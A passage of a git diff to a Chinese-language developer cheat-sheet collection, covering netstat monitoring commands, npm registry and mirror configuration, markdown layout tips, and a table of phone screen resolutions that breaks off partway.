|
||||
`netstat -ie` | 显示网络接口扩展信息
|
||||
`netstat -n` | 仅显示 IP 地址
|
||||
`netstat -F` | 尽可能显示 IP 地址的域名
|
||||
|
||||
### 路由
|
||||
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -r` | 显示路由表
|
||||
`netstat -rn` | 显示路由表，不解析主机
|
||||
|
||||
### 统计数据
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -s` | 显示统计信息
|
||||
`netstat -st` | 显示 TCP 统计信息
|
||||
`netstat -su` | 显示 UDP 统计信息
|
||||
`netstat -ltpe` | 使用进程信息和扩展信息显示 TCP 的侦听连接
|
||||
`netstat -tp` | 显示带有 PID 编号的服务名称
|
||||
`sudo netstat -nlpt` | 列出进程名称/PID 和用户 ID
|
||||
`netstat -nlptue` | 所有带有 PID 和扩展信息的侦听端口
|
||||
`netstat -M` | 显示伪装的连接
|
||||
|
||||
### 显示没有域名的 TCP 连接
|
||||
|
||||
```bash
|
||||
$ netstat --tcp --numeric
|
||||
```
|
||||
|
||||
### 显示活动/已建立的连接
|
||||
|
||||
```bash
|
||||
$ netstat -atnp | grep ESTA
|
||||
```
|
||||
|
||||
### 获取活动连接的连续列表
|
||||
|
||||
```bash
|
||||
$ watch -d -n0 "netstat -atnp | grep ESTA"
|
||||
```
|
||||
|
||||
### 显示到特定端口的所有打开连接
|
||||
|
||||
```bash
|
||||
$ netstat -anp | grep":"
|
||||
```
|
||||
|
||||
插入`端口`号（上图）代替冒号 `:`
|
||||
|
||||
### 检查服务是否正在运行
|
||||
|
||||
```bash
|
||||
$ sudo netstat -aple | grep ntp
|
||||
```
|
||||
|
||||
你可以用`http`、`smtp`代替`ntp`
|
||||
|
||||
Netstat – 安全命令
|
||||
---
|
||||
|
||||
### 显示具有大量连接的 IP
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 连接到端口 80 的 IP 地址
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d: | sort | uniq -c | sort -rn | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 显示端口 80 上的活动连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an |grep :80 |wc -l
|
||||
```
|
||||
|
||||
### 仅显示外部 IP 地址
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | grep :80 | grep -v LISTEN | awk '{print $5}'
|
||||
```
|
||||
|
||||
### 显示活动 SYNC_REC
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
以下命令将输出服务器上正在发生和正在发生的活动 `SYNC_REC` 数量。数量应该很低(小于 `5`)。如果该数字为两位数，则您可能正在遭受 `DoS` 攻击或被邮件轰炸。
|
||||
|
||||
```bash
|
||||
$ netstat -n -p|grep SYN_REC | wc -l
|
||||
```
|
||||
|
||||
#### 列出发送 SYN_REC 连接的唯一 IP 地址
|
||||
|
||||
```bash
|
||||
$ netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
与上面的命令一样，该命令也列出了发送 `SYN_REC` 连接状态的节点的所有唯一 `IP` 地址
|
||||
|
||||
### 每个远程 IP 的连接数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
或者
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips) print ips[ip], ip | "sort -k1 -nr"}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 检查开放端口（ipv4 和 ipv6）
|
||||
|
||||
```bash
|
||||
$ netstat -plntu
|
||||
```
|
||||
|
||||
### 检查开放端口（ipv4 和 ipv6）
|
||||
|
||||
```bash
|
||||
$ netstat -plnt
|
||||
```
|
||||
|
||||
### 每个 IP 的打开连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an | grep 80 | wc -l
|
||||
```
|
||||
|
||||
### 活跃的互联网连接
|
||||
|
||||
```bash
|
||||
$ netstat -pnut -w | column -t -s $'\t'
|
||||
```
|
||||
50
docs/npm.md
50
docs/npm.md
@ -21,6 +21,7 @@ npm 备忘清单
|
||||
| `npm install <package_name>@<tag>` | 使用 dist-tags 安装包 |
|
||||
| `npm install -g <package_name>` | 全局安装包 |
|
||||
| `npm uninstall <package_name>` | 卸载包 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
`--save` 是 npm@5 的默认值。 以前，使用不带 `--save` 的 `npm install` 不会更新 package.json。
|
||||
|
||||
@ -40,6 +41,7 @@ npm 备忘清单
|
||||
| `npm i /path/to/repo` | 绝对路径 |
|
||||
| `npm i ./archive.tgz` | 压缩包 |
|
||||
| `npm i https://site.com/archive.tgz` | 通过 HTTP 压缩包 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 清单
|
||||
|
||||
@ -49,6 +51,7 @@ npm 备忘清单
|
||||
| `npm list -g --depth 0` | 列出所有全局安装包的安装版本 |
|
||||
| `npm view` | 列出此软件中所有依赖项的最新版本 |
|
||||
| `npm outdated` | 仅列出此软件中已过时的依赖项 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 更新
|
||||
|
||||
@ -105,7 +108,7 @@ npm access restricted <package-name>
|
||||
公开私有包
|
||||
|
||||
```bash
|
||||
npm access restricted <package-name>
|
||||
npm access public <package-name>
|
||||
```
|
||||
|
||||
授予私有包访问权限
|
||||
@ -167,7 +170,7 @@ npm publish --access public
|
||||
```ini
|
||||
# last modified: 01 Jan 2016
|
||||
; Set a new registry for a scoped package
|
||||
@myscope:registry=https://mycustomregistry.example.org
|
||||
@myscope:registry=https://registry.npmmirror.com
|
||||
```
|
||||
|
||||
注释使用 `#`, `;` 放置到一行的开头。`.npmrc` 文件由指定此注释语法的 [`npm/ini`](https://github.com/npm/ini) 解析
|
||||
@ -190,19 +193,21 @@ npm publish --access public
|
||||
`.npmignore` 文件就像 [`.gitignore`](./git.md#忽略文件) 一样工作。它不能覆盖 `package.json#files` 字段。
|
||||
|
||||
### 中国镜像站安装
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
```bash
|
||||
# 临时使用
|
||||
$ npm install -g <package-name> --registry=https://registry.npmmirror.com
|
||||
```
|
||||
|
||||
将配置放置在 `.npmrc` 配置文件中。
|
||||
将配置放置在 `.npmrc` 全局配置文件中，或者在项目的根目录中。
|
||||
|
||||
```ini
|
||||
; registry=https://registry.npmjs.org/
|
||||
registry=https://registry.npmmirror.com
|
||||
```
|
||||
|
||||
或者配置到 `package.json#publishConfig` 字段上
|
||||
或者配置到 [`package.json#publishConfig`](./package.json.md#publishconfig) 字段上
|
||||
|
||||
```json
|
||||
"publishConfig":{
|
||||
@ -210,4 +215,37 @@ registry=https://registry.npmmirror.com
|
||||
}
|
||||
```
|
||||
|
||||
请参阅：[npmmirror 中国镜像站](https://npmmirror.com/)
|
||||
替换 npm 仓库地址为 npmmirror(淘宝) 镜像地址
|
||||
|
||||
```bash
|
||||
npm config set registry https://registry.npmmirror.com
|
||||
```
|
||||
|
||||
请参阅：[npmmirror 中国镜像站](https://npmmirror.com/)
|
||||
|
||||
#### electronjs 镜像和缓存
|
||||
|
||||
```ini
|
||||
ELECTRON_MIRROR="https://npmmirror.com/mirrors/electron/"
|
||||
ELECTRON_BUILDER_BINARIES_MIRROR=https://npmmirror.com/mirrors/electron-builder-binaries/
|
||||
; ELECTRON_CUSTOM_DIR="{{ version }}"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 身份验证相关配置
|
||||
|
||||
```ini
|
||||
//registry.npmjs.org/:_authToken=MYTOKEN
|
||||
; 将适用于 @myorg 和 @another
|
||||
//somewhere.com/:_authToken=MYTOKEN
|
||||
; 将适用于 @myorg
|
||||
//somewhere.com/myorg/:_authToken=MYTOKEN1
|
||||
; 将适用于 @another
|
||||
//somewhere.com/another/:_authToken=MYTOKEN2
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [npm 仓库、网站和命令行界面的文档](https://docs.npmjs.com/) _(npmjs.com)_
|
||||
- [npmmirror 中国镜像站](https://npmmirror.com/) _(npmmirror.com)_
|
||||
@ -228,6 +228,16 @@ const school = <div>学校</div>;
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### HTML 代码预览
|
||||
|
||||
```
|
||||
```html preview
|
||||
这里是你的 HTML 代码
|
||||
\```
|
||||
```
|
||||
|
||||
上面的 `markdown` 代码在 `meta` 位置添加 `preview` 标识，HTML 代码将被执行预览
|
||||
|
||||
|
||||
布局
|
||||
---
|
||||
@ -602,6 +612,17 @@ H2 部分
|
||||
|
||||
`<!--rehype:className=style-list-arrow-->`
|
||||
|
||||
### 隐藏表头强制小尺寸自动换行
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`visualEffectState.inactive` | 后台应一直显示为非激活状态。
|
||||
`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
|
||||
`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
|
||||
<!--rehype:className=auto-wrap-->
|
||||
|
||||
`<!--rehype:className=auto-wrap-->`
|
||||
|
||||
列表
|
||||
---
|
||||
|
||||
|
||||
278
docs/resolutions.md
Normal file
278
docs/resolutions.md
Normal file
@ -0,0 +1,278 @@
|
||||
Resolutions 备忘清单
|
||||
===
|
||||
|
||||
此备忘清单列出了流行手机、平板电脑、笔记本电脑和手表的屏幕尺寸、可视窗口尺寸和 CSS 媒体查询
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 介绍
|
||||
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
|
||||
|
||||
- 分辨率是像素数（单个颜色点）
|
||||
- 可视窗口由屏幕上网页填充的矩形大小定义
|
||||
- 屏幕分辨率是指屏幕上显示的文本和图像的清晰度
|
||||
- 用于设计
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
解析度清单列表
|
||||
------
|
||||
|
||||
### 手机
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPhone 11 (2019) | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro (2019) | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro Max (2019) | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 12 (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro Max (2020) | 6.7 <sub>inch</sub> | 1284 x 2778 <sub>px</sub> | 428 x 926 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 mini (2020) | 5.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 476 <sub>ppi</sub> | 159 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 5 | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 6 |
|
||||
| Apple iPhone 5c | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 5s | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 6 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8 |
|
||||
| Apple iPhone 6s | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 6s Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 7 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 7 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 8 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone 8 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone SE | 4.0 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPhone SE (2020) | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone X | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11.1.1 |
|
||||
| Apple iPhone XR | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS Max | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 411 x 731 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.6 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel 2 | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 2 XL | 6.0 <sub>inch</sub> | 1440 x 2880 <sub>px</sub> | | 538 <sub>ppi</sub> | 154 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 3 (2018) | 5.5 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 393 x 786 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3 XL (2018) | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 412 x 846 <sub>px</sub> | 523 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a (2019) | 5.6 <sub>inch</sub> | 1080 x 2220 <sub>px</sub> | 393 x 808 <sub>px</sub> | 441 <sub>ppi</sub> | 160 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a XL (2019) | 6 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 412 x 823 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 4 (2019) | 5.7 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 393 x 830 <sub>px</sub> | 444 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 4 XL (2019) | 6.3 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 537 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10 |
|
||||
| Google Pixel 4a (2020) | 5.81 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 5 (2020) | 6 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 432 <sub>ppi</sub> | 157 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| Google Pixel XL | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1 |
|
||||
| HTC Desire 10 Lifestyle | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0 |
|
||||
| HTC Desire 628 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Honor 6X (2016) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 403 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 6.0 |
|
||||
| Honor 7X (2017) | 5.93 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 407 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Honor 8X (2018) | 6.5 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 397 <sub>ppi</sub> | 132 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| Honor 9X (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 10 Lite (2017) | 5.9 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Huawei Mate 20 Lite (2018) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| Huawei Mate 20 Pro (2018) | 6.39 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 360 x 780 <sub>px</sub> | 538 <sub>ppi</sub> | 135 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 30 (2019) | 6.62 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 389 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Mate 30 Pro (2019) | 6.53 <sub>inch</sub> | 1176 x 2400 <sub>px</sub> | 392 x 800 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Nova 7i (2020) | 6.4 <sub>inch</sub> | 1080 x 2310 <sub>px</sub> | 360 x 770 <sub>px</sub> | 398 <sub>ppi</sub> | 133 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Y9 Prime (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Y9s (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| LG G5 | 5.3 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 554 <sub>ppi</sub> | 139 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0.1 |
|
||||
| Motorola Moto E5 Plus | 6.0 <sub>inch</sub> | 720 x 1440 <sub>px</sub> | | 268 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| OnePlus 6 | 6.28 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| OnePlus 6T | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 Pro | 6.67 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 412 x 892 <sub>px</sub> | 516 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7T (2019) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 Pro (2020) | 6.78 <sub>inch</sub> | 1440 x 3168 <sub>px</sub> | 412 x 906 <sub>px</sub> | 513 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8T (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| OnePlus Nord (2020) | 6.44 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 408 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Redmi Note 9 Pro (2020) | 6.67 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 393 x 873 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung A50 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A30 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A50s (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A51 (2019) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 405 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy A6s | 6.0 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 402 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy A70s (2019) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A71 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Fold (2019) | 7.3 <sub>inch</sub> | 1536 x 2152 <sub>px</sub> | 768 x 1076 <sub>px</sub> | 362 <sub>ppi</sub> | 181 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy J4 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | | 134 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J5 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | | 2 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Samsung Galaxy J5 Prime | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
